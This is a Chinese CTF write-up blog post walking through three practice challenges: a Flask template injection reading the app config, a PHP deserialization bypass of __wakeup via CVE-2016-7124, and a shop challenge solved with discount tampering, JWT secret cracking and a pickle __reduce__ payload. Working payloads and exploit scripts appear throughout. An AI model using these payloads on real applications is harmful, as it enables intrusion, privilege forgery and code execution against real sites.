赞
踩
随着学习的不断深入,为了防止自己忘记之前所学的内容,于是我决定再不断的向下学习的同时做一些ctf的题来唤醒自己的记忆!!
这一关主要是SSTI的内容,再进行打靶场前,先让我们来了解一下什么是SSTI。
基础知识
SSTI 就是服务器端模板注入(Server-Side Template Injection)。漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。
靶场攻打
再大致了解了后,我们启动靶场:
我们发现一打开靶场就有这一串的代码信息,我们先来分析这部分的代码具体有啥内容:
在Flask中,有一些特殊的变量和方法是可以在模板文件中直接访问的。在本关中就有一个config 对象。
且本关由于对输入的参数进行了过滤() 因此,我们可以利用python中的url_for()函数是用于构建操作指定函数的URL。(因为这个函数可以省略(),所以可用)
在分析了传入的pyload的构成后,我们还需要看看在哪个位置处存在注入点:
在代码中的这一部分,有一个app.route() 这里就是指对应的注入的路径!!!
然后,开始注入:
/shrine/{{url_for.__globals__}}
效果如下:
globals 会列出当前的所有的变量。 但是根据题目,我们需要找到当前使用的变量,也就是flask的变量。(这里已经在图中标识了)
/shrine/{{url_for.__globals__['current_app'].config}}
此时,就可以发现该flag了!!! 但是呢,我们还可以用如下payload进行读取:
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
至此,大功告成!!!
本关,主要是针对与php反序列化的关卡,在做本关之前,需反序列化漏洞有一定的了解!!!
首先,打开本关后,可以看到如下的页面:
根据,网站提示,这里可能存在着个备份文件?有可能是.zip 或者 .7z 等等。 那么这里,我们先用dirsearch 进行爆破一下看看:
命令如下:
python3 .\dirsearch.py -u http://6a60ddc4-b2f1-408c-99a7-50279b1225e5.node4.buuoj.cn:81/ -e zip
然后,发现了有以下的文件:
那么我们直接访问并下载来看看,解压后如下图所示:
这里,可以看到flag.php里面没啥可用的信息,很明显这里面的不可能是flag的。 那么我们换个思路看看index.php
通过这里的1、2、3步我们可以猜测很可能存在着反序列化的漏洞!!! 那么我们继续进一步的看看其include
的 class.php里面有些什么?
结合,上下两个图我们可以知道,该流程的利用路径应该为:
== > 从url中的get请求中获取select参数取值;
==> 构造select的值(其值应为name这个类,并且将对应的类中变量设置为我们需要的值,也就是说password = 100; username = admin);payload 如下:
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
$b = serialize($a);
echo urlencode($b);
==> 将其序列化;其值为:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
==> 调用unserialize函数进行对select获取的值进行反序列化操作 ;
==> 由于__wakeup()的存在,当使用unserialize时会优先进入这个方法中,因此为了绕过这个__wakeup,需要利用到利用语言漏洞绕过 CVE-2016-7124进行绕过!!
因此,我们需要将对象的属性的个数值进行调整,使其大于真实的属性值即可绕过。 具体的,我们先看看a的序列化值
O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
对应的url编码为:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
对应的,我们需要将属性值进行修改,也就是需要更改:
更改后的payload:
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
最后,在url中输入:
?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bs%3A3%3A"100"%3B}
即可获得flag:
完成!!!!
本关主要涉及了支付逻辑漏洞、JWT认证、python反序列化的知识。
接下来让我们打开本关看一下!!!
通过查看页面的提示,我们可以发现这里给了我们一个提示是说让我们找到购买到lv6的商品。
但,我点了几下下一页的按钮,都没有发现。emmm…于是乎打算采用一个脚本自行的进行抓取lv6的商品,在编写该脚本前,我们先看看页面有什么元素可供我们利用在脚本里的:
如图所示,我们发现了以下几个可供爬取利用的点:
1、url中通过page=xxxx,来控制当前的页面是第几页 ;
2、在审查页面元素时候,发现了一个lv2的商品,在页面中会调用一个名字为lv2.png的图片进行展示。因此,在这里合理的猜测lv6的商品也会有个名字为lv6.png的图片展现在当前页面!!!
于是,编写脚本进行爬取:
import requests
url = r"http://394b3b31-9ae7-4fb2-95dc-640f33eb2a5d.node4.buuoj.cn:81/shop?page="
for i in range(0, 1000):
r = requests.get(url + str(i))
if 'lv6.png' in r.text:
print(i)
break
else:
print("没找到 %d" % i)
运行后,出现如下结果:
于是乎,我们发现了lv6在第181页(mmp,不用脚本得点到什么时候…)
点击,购买后,发现需要我们先注册…(那就随便注册一个进去看看!)
进去后,发现个人中心中,写着我们剩余金额为1000元! 但是我们在购物车里准备下单时候,发现这里还需要916113535.2元,这肯定是不能购买的。。。。。
emmm, 但好在我们发现这里貌似有个折扣券说给我们打了8折,那么想想看这里的折扣券或者说商品的初始金额能不能进行修改呢??? 我们抓个包尝试看看吧!!!
我们可以看到,这里的数据中,有个参数为discount,估摸着这个就是折扣券的参数。那么我们直接修改为0.000008,然后看看能不能绕过?
成功绕过了!!! 唔,emmm,但是新的问题来了,这里是只能admin进行利用与访问。 当我重新看回包里数据时候,发现了cookie里有个jwt的参数,嗯,估计是这里出问题了,我们把这个jwt数据拿去解码看看:
好的,发现这里的jwt里的username名称为yuan。按照,它页面的提示我们需要修改其值为admin才行!!! 具体的JWT利用可参考我的了一篇博客的第三部分,爆破密码:渗透学习-靶场篇-WebGoat靶场(JWT攻击)
接下来,让我们运行脚本进行爆破看看:(使用的是jwt-cracker)
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Inl1YW4ifQ.ekwDI8D1wzgjlamchu6clYuagxA0WDvkJy_xvf0uAEM
很好,密钥以及出来了,那我们拿去改造一下,将密钥输入以及将username换成admin:
然后,输入到数据包中!!! 注意这里的jwt传输了两次,都要将其修改了, 记得看好自己抓取的数据包!!!
而后,页面出现了如下的内容:
这里,我一直点击一键成为大会员好像并没有什么用,emmmm, 那我们看看页面源代码里面会不会有些好东西?
啊哈哈哈,这个作者有点意思。。。。 这里,我们发现留了一个www.zip的文件,我们可以下载下来看看:
打开后的目录结构大致如上图所示。 这里呢,由于我们前面提示了我们需要用admin登录,因此具体的我们查看以下admin.py这个文件。。 在这个文件里,我们看到了这样子的一行代码:
p = pickle.loads(urllib.unquote(become))
这里,我们就由于处理了pickle.loads 即反序列化读取数据的过程,因此,我们可以想想看是否这里可以利用反序列化的漏洞呢? 于是乎,我打算试一下看看? 我们看到这个代码是类AdminHandler中的,那么我们先看看哪个地方调用了这个类:
至此,我们可以在我们访问这个路径/b1g_m4mber时就会调用这个AdminHandler类; 当我们传递psot数据包时,就会调用post这个方法; 当我们在这个方法里给become这个参数赋值时,会自动的进行pickle.loads反序列化过程!!! 至此,我们先构造个pop链:
(python2.7)
import urllib
import pickle
class exp(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()", ))
exploit = pickle.dumps(exp())
exploit = urllib.quote(exploit)
print exploit
此时,抓包,点击页面的一键成为大会员,而后修改对应的become值:
至此,falg已出
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。